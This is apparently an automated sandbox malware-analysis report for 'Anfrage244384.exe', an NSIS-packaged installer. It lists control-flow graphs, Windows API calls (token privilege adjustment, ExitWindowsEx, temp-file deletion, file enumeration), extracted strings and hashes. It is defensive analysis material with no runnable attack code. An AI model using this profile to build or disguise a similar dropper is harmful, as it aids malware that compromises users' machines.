                                                        control_flow_graph 0 4031a3-4031d8 SetErrorMode GetVersion 1 4031da-4031e2 call 40615c 0->1 2 4031eb 0->2 1->2 8 4031e4 1->8 4 4031f0-403203 call 4060ee lstrlenA 2->4 9 403205-403278 call 40615c * 2 #17 OleInitialize SHGetFileInfoA call 405dc3 GetCommandLineA call 405dc3 GetModuleHandleA 4->9 8->2 18 403284-403299 call 405860 CharNextA 9->18 19 40327a-40327f 9->19 22 40335e-403362 18->22 19->18 23 403368 22->23 24 40329e-4032a1 22->24 27 40337b-403395 GetTempPathA call 403172 23->27 25 4032a3-4032a7 24->25 26 4032a9-4032b1 24->26 25->25 25->26 28 4032b3-4032b4 26->28 29 4032b9-4032bc 26->29 36 403397-4033b5 GetWindowsDirectoryA lstrcatA call 403172 27->36 37 4033ed-403407 DeleteFileA call 402cfa 27->37 28->29 31 4032c2-4032c6 29->31 32 40334e-40335b call 405860 29->32 34 4032c8-4032ce 31->34 35 4032de-40330b 31->35 32->22 47 40335d 32->47 39 4032d0-4032d2 34->39 40 4032d4 34->40 41 40330d-403313 35->41 42 40331e-40334c 35->42 36->37 55 4033b7-4033e7 GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 403172 36->55 52 40349b-4034ab call 403669 OleUninitialize 37->52 53 40340d-403413 37->53 39->35 39->40 40->35 48 403315-403317 41->48 49 403319 41->49 42->32 51 40336a-403376 call 405dc3 42->51 47->22 48->42 48->49 49->42 51->27 66 4034b1-4034c1 call 4055b9 ExitProcess 52->66 67 4035cf-4035d5 52->67 56 403415-403420 call 405860 53->56 57 40348b-403492 call 403743 53->57 55->37 55->52 68 403422-40344b 56->68 69 403456-403460 56->69 64 403497 57->64 64->52 71 403651-403659 67->71 72 4035d7-4035f0 GetCurrentProcess OpenProcessToken 67->72 73 40344d-40344f 68->73 76 403462-40346f call 405923 69->76 77 4034c7-4034db call 40553c lstrcatA 69->77 74 40365b 71->74 75 40365f-403663 ExitProcess 71->75 79 403622-403630 call 40615c 72->79 80 4035f2-40361c LookupPrivilegeValueA AdjustTokenPrivileges 72->80 73->69 81 403451-403454 73->81 74->75 76->52 90 403471-403487 call 405dc3 * 2 76->90 91 4034e8-403502 lstrcatA lstrcmpiA 77->91 92 4034dd-4034e3 lstrcatA 77->92 88 403632-40363c 79->88 89 40363e-403648 ExitWindowsEx 79->89 80->79 81->69 81->73 88->89 93 40364a-40364c call 40140b 88->93 89->71 89->93 90->57 91->52 95 403504-403507 91->95 92->91 93->71 96 403510 call 40551f 95->96 97 403509-40350e call 4054a2 95->97 106 403515-403522 SetCurrentDirectoryA 96->106 97->106 107 403524-40352a call 405dc3 106->107 108 40352f-403557 call 405dc3 106->108 107->108 112 40355d-403579 call 405de5 DeleteFileA 108->112 115 4035ba-4035c1 112->115 116 40357b-40358b CopyFileA 112->116 115->112 117 4035c3-4035ca call 405c7e 115->117 116->115 118 40358d-4035a6 call 405c7e call 405de5 call 405554 116->118 117->52 126 4035ab-4035ad 118->126 126->115 127 4035af-4035b6 CloseHandle 126->127 127->115
                                                        APIs
                                                        • SetErrorMode.KERNELBASE ref: 004031C8
                                                        • GetVersion.KERNEL32 ref: 004031CE
                                                        • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004031F7
                                                        • #17.COMCTL32(00000007,00000009), ref: 00403219
                                                        • OleInitialize.OLE32(00000000), ref: 00403220
                                                        • SHGetFileInfoA.SHELL32(00429828,00000000,?,00000160,00000000), ref: 0040323C
                                                        • GetCommandLineA.KERNEL32(Berny Setup,NSIS Error), ref: 00403251
                                                        • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Anfrage244384.exe",00000000), ref: 00403264
                                                        • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Anfrage244384.exe",00000020), ref: 0040328F
                                                        • GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040338C
                                                        • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040339D
                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033A9
                                                        • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033BD
                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033C5
                                                        • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033D6
                                                        • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004033DE
                                                        • DeleteFileA.KERNELBASE(1033), ref: 004033F2
                                                          • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                        • OleUninitialize.OLE32(?), ref: 004034A0
                                                        • ExitProcess.KERNEL32 ref: 004034C1
                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 004035DE
                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 004035E5
                                                        • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004035FD
                                                        • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 0040361C
                                                        • ExitWindowsEx.USER32(00000002,80040002), ref: 00403640
                                                        • ExitProcess.KERNEL32 ref: 00403663
                                                          • Part of subcall function 004055B9: MessageBoxIndirectA.USER32(0040A218), ref: 00405614
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
                                                        • String ID: "$"C:\Users\user\Desktop\Anfrage244384.exe"$.tmp$1033$Berny Setup$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$C:\Users\user\AppData\Roaming\secretaryships\Khami$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage244384.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                                        • API String ID: 3329125770-3026314838
                                                        • Opcode ID: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                        • Instruction ID: 865bae31cffe44a71533f85cac42dc3cbe617e6c2420eff4fa764eab91bf8bd9
                                                        • Opcode Fuzzy Hash: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                        • Instruction Fuzzy Hash: 78C10530104741AAD721BF759D59A2F3EA9EF4530AF44443FF581B61E2CB7C8A058B6E
                                                        Function 00404959 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 128 404959-4049a5 GetDlgItem * 2 129 404bc5-404bcc 128->129 130 4049ab-404a3f GlobalAlloc LoadBitmapA SetWindowLongA ImageList_Create ImageList_AddMasked SendMessageA * 2 128->130 131 404be0 129->131 132 404bce-404bde 129->132 133 404a41-404a4c SendMessageA 130->133 134 404a4e-404a55 DeleteObject 130->134 135 404be3-404bec 131->135 132->135 133->134 136 404a57-404a5f 134->136 137 404bf7-404bfd 135->137 138 404bee-404bf1 135->138 139 404a61-404a64 136->139 140 404a88-404a8c 136->140 144 404c0c-404c13 137->144 145 404bff-404c06 137->145 138->137 141 404cdb-404ce2 138->141 142 404a66 139->142 143 404a69-404a86 call 405de5 SendMessageA * 2 139->143 140->136 146 404a8e-404aba call 403fa8 * 2 140->146 151 404d53-404d5b 141->151 152 404ce4-404cea 141->152 142->143 143->140 148 404c15-404c18 144->148 149 404c88-404c8b 144->149 145->141 145->144 184 404ac0-404ac6 146->184 185 404b84-404b97 GetWindowLongA SetWindowLongA 146->185 157 404c23-404c38 call 4048a7 148->157 158 404c1a-404c21 148->158 149->141 153 404c8d-404c97 149->153 155 404d65-404d6c 151->155 156 404d5d-404d63 SendMessageA 151->156 160 404cf0-404cfa 152->160 161 404f3b-404f4d call 40400f 152->161 163 404ca7-404cb1 153->163 164 404c99-404ca5 SendMessageA 153->164 165 404da0-404da7 155->165 166 404d6e-404d75 155->166 156->155 157->149 183 404c3a-404c4b 157->183 158->149 158->157 160->161 169 404d00-404d0f SendMessageA 160->169 163->141 171 404cb3-404cbd 163->171 164->163 176 404efd-404f04 165->176 177 404dad-404db9 call 4011ef 165->177 172 404d77-404d78 ImageList_Destroy 166->172 173 404d7e-404d85 166->173 169->161 178 404d15-404d26 SendMessageA 169->178 179 404cce-404cd8 171->179 180 404cbf-404ccc 171->180 172->173 181 404d87-404d88 GlobalFree 173->181 182 404d8e-404d9a 173->182 176->161 189 404f06-404f0d 176->189 203 404dc9-404dcc 177->203 204 404dbb-404dbe 177->204 187 404d30-404d32 178->187 188 404d28-404d2e 178->188 179->141 180->141 181->182 182->165 183->149 192 404c4d-404c4f 183->192 193 404ac9-404acf 184->193 191 404b9d-404ba1 185->191 195 404d33-404d4c call 401299 SendMessageA 187->195 188->187 188->195 189->161 190 404f0f-404f39 ShowWindow GetDlgItem ShowWindow 189->190 190->161 197 404ba3-404bb6 ShowWindow call 403fdd 191->197 198 404bbb-404bc3 call 403fdd 191->198 199 404c51-404c58 192->199 200 404c62 192->200 201 404b65-404b78 193->201 202 404ad5-404afd 193->202 195->151 197->161 198->129 211 404c5a-404c5c 199->211 212 404c5e-404c60 199->212 215 404c65-404c81 call 40117d 200->215 201->193 206 404b7e-404b82 201->206 213 404b37-404b39 202->213 214 404aff-404b35 SendMessageA 202->214 207 404e0d-404e31 call 4011ef 203->207 208 404dce-404de7 call 4012e2 call 401299 203->208 216 404dc0 204->216 217 404dc1-404dc4 call 404927 204->217 206->185 206->191 230 404ed3-404ee7 InvalidateRect 207->230 231 404e37 207->231 238 404df7-404e06 SendMessageA 208->238 239 404de9-404def 208->239 211->215 212->215 218 404b3b-404b4a SendMessageA 213->218 219 404b4c-404b62 SendMessageA 213->219 214->201 215->149 216->217 217->203 218->201 219->201 230->176 234 404ee9-404ef8 call 40487a call 404862 230->234 232 404e3a-404e45 231->232 235 404e47-404e56 232->235 236 404ebb-404ecd 232->236 234->176 240 404e58-404e65 235->240 241 404e69-404e6c 235->241 236->230 236->232 238->207 242 404df1 239->242 243 404df2-404df5 239->243 240->241 245 404e73-404e7c 241->245 246 404e6e-404e71 241->246 242->243 243->238 243->239 248 404e81-404eb9 SendMessageA * 2 245->248 249 404e7e 245->249 246->248 248->236 249->248
                                                        APIs
                                                        • GetDlgItem.USER32(?,000003F9), ref: 00404971
                                                        • GetDlgItem.USER32(?,00000408), ref: 0040497C
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 004049C6
                                                        • LoadBitmapA.USER32(0000006E), ref: 004049D9
                                                        • SetWindowLongA.USER32(?,000000FC,00404F50), ref: 004049F2
                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A06
                                                        • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A18
                                                        • SendMessageA.USER32(?,00001109,00000002), ref: 00404A2E
                                                        • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A3A
                                                        • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A4C
                                                        • DeleteObject.GDI32(00000000), ref: 00404A4F
                                                        • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A7A
                                                        • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A86
                                                        • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B1B
                                                        • SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B46
                                                        • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5A
                                                        • GetWindowLongA.USER32(?,000000F0), ref: 00404B89
                                                        • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B97
                                                        • ShowWindow.USER32(?,00000005), ref: 00404BA8
                                                        • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CA5
                                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D0A
                                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D1F
                                                        • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D43
                                                        • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D63
                                                        • ImageList_Destroy.COMCTL32(?), ref: 00404D78
                                                        • GlobalFree.KERNEL32(?), ref: 00404D88
                                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E01
                                                        • SendMessageA.USER32(?,00001102,?,?), ref: 00404EAA
                                                        • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EB9
                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00404ED9
                                                        • ShowWindow.USER32(?,00000000), ref: 00404F27
                                                        • GetDlgItem.USER32(?,000003FE), ref: 00404F32
                                                        • ShowWindow.USER32(00000000), ref: 00404F39
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                        • String ID: $M$N
                                                        • API String ID: 1638840714-813528018
                                                        • Opcode ID: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                        • Instruction ID: 74b4d15ca57fbdec2c0db9e6478e75b59205225842bd8ef9acc4dc7b15762c80
                                                        • Opcode Fuzzy Hash: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                        • Instruction Fuzzy Hash: A30292B0A00209AFEF209F65DD45AAE7BB5FB84315F10853AF610B62E1C7789D52CF58
                                                        Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                        • GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
                                                        • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                        • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                        • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                        • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                        • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                        • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$lstrcpy$Alloc
                                                        • String ID:
                                                        • API String ID: 4227406936-0
                                                        • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                        • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                        • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                        • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                        Function 00405DE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 694 405de5-405df0 695 405df2-405e01 694->695 696 405e03-405e18 694->696 695->696 697 40600b-40600f 696->697 698 405e1e-405e29 696->698 699 406015-40601f 697->699 700 405e3b-405e45 697->700 698->697 701 405e2f-405e36 698->701 702 406021-406025 call 405dc3 699->702 703 40602a-40602b 699->703 700->699 704 405e4b-405e52 700->704 701->697 702->703 706 405e58-405e8d 704->706 707 405ffe 704->707 708 405e93-405e9e GetVersion 706->708 709 405fa8-405fab 706->709 710 406000-406006 707->710 711 406008-40600a 707->711 712 405ea0-405ea4 708->712 713 405eb8 708->713 714 405fdb-405fde 709->714 715 405fad-405fb0 709->715 710->697 711->697 712->713 716 405ea6-405eaa 712->716 719 405ebf-405ec6 713->719 720 405fe0-405fe7 call 405de5 714->720 721 405fec-405ffc lstrlenA 714->721 717 405fc0-405fcc call 405dc3 715->717 718 405fb2-405fbe call 405d21 715->718 716->713 722 405eac-405eb0 716->722 732 405fd1-405fd7 717->732 718->732 724 405ec8-405eca 719->724 725 405ecb-405ecd 719->725 720->721 721->697 722->713 728 405eb2-405eb6 722->728 724->725 730 405f06-405f09 725->730 731 405ecf-405eea call 405caa 725->731 728->719 733 405f19-405f1c 730->733 734 405f0b-405f17 GetSystemDirectoryA 730->734 740 405eef-405ef2 731->740 732->721 736 405fd9 732->736 738 405f86-405f88 733->738 739 405f1e-405f2c GetWindowsDirectoryA 733->739 737 405f8a-405f8d 734->737 741 405fa0-405fa6 call 40602e 736->741 737->741 745 405f8f-405f93 737->745 738->737 743 405f2e-405f38 738->743 739->738 744 405ef8-405f01 call 405de5 740->744 740->745 741->721 747 405f52-405f68 SHGetSpecialFolderLocation 743->747 748 405f3a-405f3d 743->748 744->737 745->741 750 405f95-405f9b lstrcatA 745->750 752 405f83 747->752 753 405f6a-405f81 SHGetPathFromIDListA CoTaskMemFree 747->753 748->747 751 405f3f-405f46 748->751 750->741 755 405f4e-405f50 751->755 752->738 753->737 753->752 755->737 755->747
                                                        APIs
                                                        • GetVersion.KERNEL32(?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405E96
                                                        • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405F11
                                                        • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405F24
                                                        • SHGetSpecialFolderLocation.SHELL32(?,0041C020), ref: 00405F60
                                                        • SHGetPathFromIDListA.SHELL32(0041C020,Call), ref: 00405F6E
                                                        • CoTaskMemFree.OLE32(0041C020), ref: 00405F79
                                                        • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F9B
                                                        • lstrlenA.KERNEL32(Call,?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405FED
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                        • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                        • API String ID: 900638850-1230650788
                                                        • Opcode ID: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                        • Instruction ID: dce6f903095129fb599a93a9a66318a4e9c512c80ea25934a290623bed19ebbf
                                                        • Opcode Fuzzy Hash: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                        • Instruction Fuzzy Hash: 2F611271A04A02AEEB209B24DD84BBF7BA8DB15314F50813FE942B62D1D37D49429F5E
                                                        Function 00405665 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 756 405665-40568b call 405923 759 4056a4-4056ab 756->759 760 40568d-40569f DeleteFileA 756->760 762 4056ad-4056af 759->762 763 4056be-4056ce call 405dc3 759->763 761 40582e-405832 760->761 764 4056b5-4056b8 762->764 765 4057dc-4057e1 762->765 771 4056d0-4056db lstrcatA 763->771 772 4056dd-4056de call 40587c 763->772 764->763 764->765 765->761 767 4057e3-4057e6 765->767 769 4057f0-4057f8 call 4060c7 767->769 770 4057e8-4057ee 767->770 769->761 780 4057fa-40580e call 405835 call 40561d 769->780 770->761 774 4056e3-4056e6 771->774 772->774 776 4056f1-4056f7 lstrcatA 774->776 777 4056e8-4056ef 774->777 779 4056fc-40571a lstrlenA FindFirstFileA 776->779 777->776 777->779 781 405720-405737 call 405860 779->781 782 4057d2-4057d6 779->782 795 405810-405813 780->795 796 405826-405829 call 404fdc 780->796 789 405742-405745 781->789 790 405739-40573d 781->790 782->765 784 4057d8 782->784 784->765 793 405747-40574c 789->793 794 405758-405766 call 405dc3 789->794 790->789 792 40573f 790->792 792->789 799 4057b1-4057c3 FindNextFileA 793->799 800 40574e-405750 793->800 806 405768-405770 794->806 807 40577d-405788 call 40561d 794->807 795->770 797 405815-405824 call 404fdc call 405c7e 795->797 796->761 797->761 799->781 803 4057c9-4057cc FindClose 799->803 800->794 804 405752-405756 800->804 803->782 804->794 804->799 806->799 809 405772-40577b call 405665 806->809 816 4057a9-4057ac call 404fdc 807->816 817 40578a-40578d 807->817 809->799 816->799 818 4057a1-4057a7 817->818 819 40578f-40579f call 404fdc call 405c7e 817->819 818->799 819->799
                                                        APIs
                                                        • DeleteFileA.KERNELBASE(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040568E
                                                        • lstrcatA.KERNEL32(0042B870,\*.*,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056D6
                                                        • lstrcatA.KERNEL32(?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056F7
                                                        • lstrlenA.KERNEL32(?,?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056FD
                                                        • FindFirstFileA.KERNEL32(0042B870,?,?,?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040570E
                                                        • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004057BB
                                                        • FindClose.KERNEL32(00000000), ref: 004057CC
                                                        Strings
                                                        • \*.*, xrefs: 004056D0
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405672
                                                        • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00405665
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                        • API String ID: 2035342205-868427011
                                                        • Opcode ID: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                        • Instruction ID: 999a98db12b4221591f7ee6b6052c292a74d4854a5648a1040a4d82dc32c8f45
                                                        • Opcode Fuzzy Hash: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                        • Instruction Fuzzy Hash: 2B51D531800A48EADB216B61CC85BBF7A78DF42354F64817BF845721D2C73C4952EE6D
                                                        Function 004060C7 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNELBASE(75923410,0042C0B8,0042BC70,00405966,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\), ref: 004060D2
                                                        • FindClose.KERNELBASE(00000000), ref: 004060DE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Find$CloseFileFirst
                                                        • String ID:
                                                        • API String ID: 2295610775-0
                                                        • Opcode ID: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                        • Instruction ID: 7bd6a1ee080489a50caeda4c967685e5e64830a7ebee4117dda32410da358e49
                                                        • Opcode Fuzzy Hash: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                        • Instruction Fuzzy Hash: 5FD012316854309BC21097786D0C84B7A589F19331711CB37F4A6F11F0CB34CC66869D
                                                        Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
